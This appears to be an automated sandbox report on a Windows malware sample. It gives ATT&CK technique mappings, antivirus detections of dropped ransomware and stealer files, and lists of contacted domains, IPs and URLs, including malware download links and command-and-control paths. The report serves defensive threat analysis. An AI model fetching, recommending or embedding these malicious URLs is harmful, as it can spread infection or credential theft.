Domain Accounts	Exploitation for Client Execution1	Windows Service14	Access Token Manipulation1	Obfuscated Files or Information3	Security Account Manager	File and Directory Discovery3	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter3	Scheduled Task/Job1	Windows Service14	Software Packing33	NTDS	System Information Discovery439	Distributed Component Object Model	Input Capture1	Scheduled Transfer	Non-Application Layer Protocol5	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Scheduled Task/Job1	Network Logon Script	Process Injection713	Timestomp1	LSA Secrets	Security Software Discovery871	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol36	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Service Execution3	Rc.common	Scheduled Task/Job1	DLL Side-Loading1	Cached Domain Credentials	Process Discovery12	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Virtualization/Sandbox Evasion441	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading131	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Valid Accounts1	/etc/passwd and /etc/shadow	System Owner/User Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Modify Registry1	Network Sniffing	Remote System Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Access Token Manipulation1	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Virtualization/Sandbox Evasion441	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery
Compromise Hardware Supply Chain	Visual Basic	Scheduled Task	Scheduled Task	Process Injection713	GUI Input Capture	Domain Groups	Exploitation of Remote Services	Email Collection	Commonly Used Port	Proxy			Defacement
Trusted Relationship	Python	Hypervisor	Process Injection	Hidden Files and Directories1	Web Portal Capture	Cloud Groups	Attack PC via USB Connection	Local Email Collection	Standard Application Layer Protocol	Internal Proxy			Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
tijXCZsbGe.exe	34%	Virustotal		Browse
tijXCZsbGe.exe	40%	ReversingLabs	Win32.Trojan.Generic
tijXCZsbGe.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\gecrjwsv.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\F65C.exe	100%	Avira	HEUR/AGEN.1211353
C:\Users\user\AppData\Local\Temp\5C89.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\rifsswe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DB31.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\gecrjwsv.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9334.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6FB4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B0F7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\F65C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\C7FA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8783.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9DFA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\E748.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\LocalLow\sqlite3.dll	0%	Metadefender		Browse
C:\Users\user\AppData\LocalLow\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\5C89.exe	34%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\5C89.exe	77%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\6FB4.exe	29%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\6FB4.exe	81%	ReversingLabs	Win32.Trojan.Raccrypt
C:\Users\user\AppData\Local\Temp\9334.exe	46%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\9334.exe	77%	ReversingLabs	Win32.Trojan.Raccoon
C:\Users\user\AppData\Local\Temp\B0F7.exe	34%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\B0F7.exe	77%	ReversingLabs	Win32.Ransomware.StopCrypt

Unpacked PE Files

Source	Detection	Scanner	Label	Download
18.0.F65C.exe.ab0000.2.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
11.0.9334.exe.480e50.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.3.DB31.exe.660000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
16.2.DB31.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.0.rifsswe.400000.3.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
11.0.9334.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.3.9334.exe.5f0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.0.F65C.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
18.0.F65C.exe.ab0000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
32.2.gecrjwsv.exe.580e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.0.tijXCZsbGe.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.0.rifsswe.400000.0.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
38.3.5C89.exe.4d40000.2.unpack	100%	Avira	TR/Crypt.EPACK.Gen2	Download File
35.0.F65C.exe.4d0000.13.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
10.0.rifsswe.400000.1.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
35.0.F65C.exe.4d0000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
1.0.tijXCZsbGe.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.0.rifsswe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.0.9334.exe.480e50.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.2.svchost.exe.5d0000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
35.0.F65C.exe.4d0000.7.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
35.0.F65C.exe.4d0000.11.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
35.0.F65C.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
0.2.tijXCZsbGe.exe.5615a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.0.F65C.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
32.3.gecrjwsv.exe.5a0000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
11.0.9334.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.0.F65C.exe.ab0000.3.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
35.0.F65C.exe.4d0000.5.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
35.0.F65C.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
1.1.tijXCZsbGe.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.2.9334.exe.480e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.0.F65C.exe.4d0000.3.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
18.0.F65C.exe.ab0000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
35.0.F65C.exe.4d0000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
1.2.tijXCZsbGe.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.0.F65C.exe.4d0000.2.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
10.2.rifsswe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.2.E748.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
10.0.rifsswe.400000.2.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
11.2.9334.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.3.E748.exe.650000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
9.2.rifsswe.6315a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.2.F65C.exe.ab0000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
35.0.F65C.exe.400000.12.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
32.2.gecrjwsv.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
16.2.DB31.exe.640e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
10.0.rifsswe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
38.2.5C89.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1127993	Download File
32.2.gecrjwsv.exe.5a0000.2.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
10.0.rifsswe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
35.0.F65C.exe.4d0000.9.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
17.2.E748.exe.630e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
10.1.rifsswe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.tijXCZsbGe.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://185.163.45.70/capibar	12%	Virustotal		Browse
http://185.163.45.70/capibar	100%	Avira URL Cloud	phishing
http://185.7.214.171:8080/6.php	100%	URL Reputation	malware
http://host-data-coin-11.com/	0%	URL Reputation	safe
http://185.163.204.24//l/f/S2zKVH4BZ2GIX1a3NFPE/724da1c439bafff55600e6bd8e8cc799e96c03351	0%	Avira URL Cloud	safe
http://185.215.113.35/d2VxjasuwS/index.php	12%	Virustotal		Browse
http://185.215.113.35/d2VxjasuwS/index.php	0%	Avira URL Cloud	safe
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	13%	Virustotal		Browse
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	100%	Avira URL Cloud	malware
http://185.215.113.35/d2VxjasuwS/index.php?scr=1	0%	Avira URL Cloud	safe
http://185.163.204.24/	0%	Avira URL Cloud	safe
http://data-host-coin-8.com/game.exe	0%	URL Reputation	safe
http://data-host-coin-8.com/files/8474_1641976243_3082.exe	100%	Avira URL Cloud	malware
http://185.163.45.70/capibarvg	100%	Avira URL Cloud	phishing
http://185.163.204.24//l/f/S2zKVH4BZ2GIX1a3NFPE/71fe7726da53cb25be1ef5cfcccec20e728d94fe	0%	Avira URL Cloud	safe
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://unicupload.top/install5.exe	100%	URL Reputation	phishing
http://crl.ver)	0%	Avira URL Cloud	safe
http://185.163.204.22/capibar	100%	Avira URL Cloud	malware
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
http://178.62.113.205/capibard	0%	Avira URL Cloud	safe
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
https://185.163.204.22/capibar	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/files/7729_1642101604_1835.exe	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	100%	Avira URL Cloud	malware
http://185.215.113.35/d2VxjasuwS/plugins/cred.dll	100%	Avira URL Cloud	malware
http://185.163.204.24/22	0%	Avira URL Cloud	safe
http://178.62.113.205/capibar	0%	Avira URL Cloud	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe
http://185.163.204.24//l/f/S2zKVH4BZ2GIX1a3NFPE/724da1c439bafff55600e6bd8e8cc799e96c0335	0%	Avira URL Cloud	safe
http://185.163.204.22/capibarp	100%	Avira URL Cloud	malware
http://help.disneyplus.com.	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
unicupload.top	54.38.220.85	true	false	high
host-data-coin-11.com	8.209.70.0	true	false	high
patmushta.info	185.188.183.61	true	false	high
cdn.discordapp.com	162.159.135.233	true	false	high
microsoft-com.mail.protection.outlook.com	40.93.207.0	true	false	high
goo.su	172.67.139.105	true	false	high
transfer.sh	144.76.136.153	true	false	high
a0621298.xsph.ru	141.8.194.74	true	false	high
data-host-coin-8.com	8.209.70.0	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://a0621298.xsph.ru/7.exe	false		high
http://185.7.214.171:8080/6.php	true	URL Reputation: malware	unknown
http://host-data-coin-11.com/	false	URL Reputation: safe	unknown
http://185.215.113.35/d2VxjasuwS/index.php	true	12%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	true	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.35/d2VxjasuwS/index.php?scr=1	true	Avira URL Cloud: safe	unknown
http://185.163.204.24/	true	Avira URL Cloud: safe	unknown
http://data-host-coin-8.com/game.exe	false	URL Reputation: safe	unknown
http://data-host-coin-8.com/files/8474_1641976243_3082.exe	true	Avira URL Cloud: malware	unknown
http://185.163.204.24//l/f/S2zKVH4BZ2GIX1a3NFPE/71fe7726da53cb25be1ef5cfcccec20e728d94fe	true	Avira URL Cloud: safe	unknown
http://unicupload.top/install5.exe	true	URL Reputation: phishing	unknown
http://185.163.204.22/capibar	true	Avira URL Cloud: malware	unknown
http://a0621298.xsph.ru/9.exe	false		high
http://data-host-coin-8.com/files/7729_1642101604_1835.exe	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	true	Avira URL Cloud: malware	unknown
http://185.215.113.35/d2VxjasuwS/plugins/cred.dll	true	Avira URL Cloud: malware	unknown
http://185.163.204.24//l/f/S2zKVH4BZ2GIX1a3NFPE/724da1c439bafff55600e6bd8e8cc799e96c0335	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	F65C.exe, 00000023.00000003.928189682.0000000003A98000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.927383857.0000000003A27000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.928819384.0000000003B0A000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.929405321.0000000003B7B000.00000004.00000001.sdmp	false		high
http://185.163.45.70/capibar	5C89.exe, 00000026.00000002.987388003.0000000002FDE000.00000004.00000020.sdmp	true	12%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://duckduckgo.com/ac/?q=	F65C.exe, 00000023.00000003.928189682.0000000003A98000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.927383857.0000000003A27000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.928819384.0000000003B0A000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.929405321.0000000003B7B000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/answer/6258784	5C89.exe, 00000026.00000002.1043200803.0000000005200000.00000004.00000001.sdmp	false		high
https://telegram.org/img/t_logo.png	5C89.exe, 00000026.00000002.1045877274.0000000005215000.00000004.00000001.sdmp	false		high
http://185.163.204.24//l/f/S2zKVH4BZ2GIX1a3NFPE/724da1c439bafff55600e6bd8e8cc799e96c03351	5C89.exe, 00000026.00000002.1049327482.0000000005239000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/capibar	5C89.exe, 00000026.00000002.987388003.0000000002FDE000.00000004.00000020.sdmp	false		high
https://www.google.com/intl/en_uk/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrows	5C89.exe, 00000026.00000002.1049327482.0000000005239000.00000004.00000001.sdmp	false		high
https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2	5C89.exe, 00000026.00000002.1049327482.0000000005239000.00000004.00000001.sdmp	false		high
https://www.google.com/gws_rd=ssl	5C89.exe, 00000026.00000002.1043200803.0000000005200000.00000004.00000001.sdmp	false		high
http://185.163.45.70/capibarvg	5C89.exe, 00000026.00000002.987388003.0000000002FDE000.00000004.00000020.sdmp	true	Avira URL Cloud: phishing	unknown
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 0000001C.00000003.801590976.000001C02177D000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801757401.000001C021C02000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801683194.000001C0217BE000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801724830.000001C02179E000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb/ip	F65C.exe, 00000012.00000002.825741767.0000000003F01000.00000004.00000001.sdmp, F65C.exe, 00000023.00000000.820336133.0000000000402000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	F65C.exe, 00000023.00000003.928189682.0000000003A98000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.927383857.0000000003A27000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.928819384.0000000003B0A000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.929405321.0000000003B7B000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	F65C.exe, 00000023.00000003.928189682.0000000003A98000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.927383857.0000000003A27000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.928819384.0000000003B0A000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.929405321.0000000003B7B000.00000004.00000001.sdmp	false		high
http://crl.ver)	svchost.exe, 0000001C.00000002.825450760.000001C021700000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1	5C89.exe, 00000026.00000002.1049327482.0000000005239000.00000004.00000001.sdmp	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	F65C.exe, 00000023.00000003.928189682.0000000003A98000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.927383857.0000000003A27000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.928819384.0000000003B0A000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.929405321.0000000003B7B000.00000004.00000001.sdmp	false		high
https://www.tiktok.com/legal/report/feedback	svchost.exe, 0000001C.00000003.802948696.000001C02178F000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.802872605.000001C0217A6000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.803050058.000001C021C02000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.802727525.000001C0217A6000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.802640576.000001C021759000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://178.62.113.205/capibard	5C89.exe, 00000026.00000002.987388003.0000000002FDE000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://consent.google.com/?hl=en-GB&origin=https://www.google.com&continue=https://www.google.com/?	5C89.exe, 00000026.00000002.987388003.0000000002FDE000.00000004.00000020.sdmp	false		high
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=8072167097284;g	5C89.exe, 00000026.00000002.1049327482.0000000005239000.00000004.00000001.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	F65C.exe, 00000023.00000003.928189682.0000000003A98000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.927383857.0000000003A27000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.928819384.0000000003B0A000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.929405321.0000000003B7B000.00000004.00000001.sdmp	false		high
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 0000001C.00000003.801590976.000001C02177D000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801757401.000001C021C02000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801683194.000001C0217BE000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801724830.000001C02179E000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://185.163.204.22/capibar	5C89.exe, 00000026.00000002.1045877274.0000000005215000.00000004.00000001.sdmp	true	Avira URL Cloud: malware	unknown
http://185.163.204.24/22	5C89.exe, 00000026.00000002.1043200803.0000000005200000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://178.62.113.205/capibar	5C89.exe, 00000026.00000002.987388003.0000000002FDE000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://disneyplus.com/legal.	svchost.exe, 0000001C.00000003.801590976.000001C02177D000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801757401.000001C021C02000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801683194.000001C0217BE000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801724830.000001C02179E000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://185.163.204.22/capibarp	5C89.exe, 00000026.00000002.987388003.0000000002FDE000.00000004.00000020.sdmp	true	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	F65C.exe, 00000023.00000003.928189682.0000000003A98000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.927383857.0000000003A27000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.928819384.0000000003B0A000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.929405321.0000000003B7B000.00000004.00000001.sdmp	false		high
http://help.disneyplus.com.	svchost.exe, 0000001C.00000003.801590976.000001C02177D000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801757401.000001C021C02000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801683194.000001C0217BE000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000003.801724830.000001C02179E000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	F65C.exe, 00000023.00000003.928189682.0000000003A98000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.927383857.0000000003A27000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.928819384.0000000003B0A000.00000004.00000001.sdmp, F65C.exe, 00000023.00000003.929405321.0000000003B7B000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
185.163.45.70	unknown	Moldova Republic of	39798	MIVOCLOUDMD	false
40.93.207.0	microsoft-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.35	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
188.166.28.199	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
172.67.139.105	goo.su	United States	13335	CLOUDFLARENETUS	false
86.107.197.138	unknown	Romania	39855	MOD-EUNL	false
8.209.70.0	host-data-coin-11.com	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
54.38.220.85	unicupload.top	France	16276	OVHFR	false
162.159.135.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
185.233.81.115	unknown	Russian Federation	50113	SUPERSERVERSDATACENTERRU	true
185.188.183.61	patmushta.info	Russian Federation	50113	SUPERSERVERSDATACENTERRU	false
185.7.214.171	unknown	France	42652	DELUNETDE	true
185.186.142.166	unknown	Russian Federation	204490	ASKONTELRU	true
141.8.194.74	a0621298.xsph.ru	Russian Federation	35278	SPRINTHOSTRU	false
185.163.204.22	unknown	Germany	20771	CAUCASUS-CABLE-SYSTEMCCSAutonomousSystemGE	false
185.163.204.24	unknown	Germany	20771	CAUCASUS-CABLE-SYSTEMCCSAutonomousSystemGE	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	553073
Start date:	14.01.2022
Start time:	09:23:23
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	tijXCZsbGe.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@59/23@82/18
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 25.1% (good quality ratio 19.3%) Quality average: 60.8% Quality standard deviation: 39.6%
HCA Information:	Successful, ratio: 56% Number of executed functions: 147 Number of non-executed functions: 268
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 20.189.173.22, 40.91.112.76, 20.54.110.249, 104.215.148.63, 40.76.4.15, 40.112.72.205, 40.113.200.201, 13.77.161.179 Excluded domains from analysis (whitelisted): displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, onedsblobprdwus17.westus.cloudapp.azure.com, wus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, arc.msn.com, ris.api.iris.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing behavior and disassembly information. Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size exceeded maximum capacity and may have missing network information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:24:58	Task Scheduler	Run new task: Firefox Default Browser Agent 5309D4B020312F94 path: C:\Users\user\AppData\Roaming\rifsswe
09:25:10	API Interceptor	1x Sleep call for process: DB31.exe modified
09:25:22	API Interceptor	1x Sleep call for process: WerFault.exe modified
09:25:22	API Interceptor	8x Sleep call for process: svchost.exe modified
09:25:58	API Interceptor	6x Sleep call for process: 5C89.exe modified
09:25:58	API Interceptor	550x Sleep call for process: mjlooy.exe modified
09:25:59	Task Scheduler	Run new task: mjlooy.exe path: C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe
09:26:19	API Interceptor	12x Sleep call for process: F65C.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_9334.exe_a5565ef87128e315374a33b3a55a1296f2841c6_94cfe485_18fbbefb\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8127421426857177
Encrypted:	false
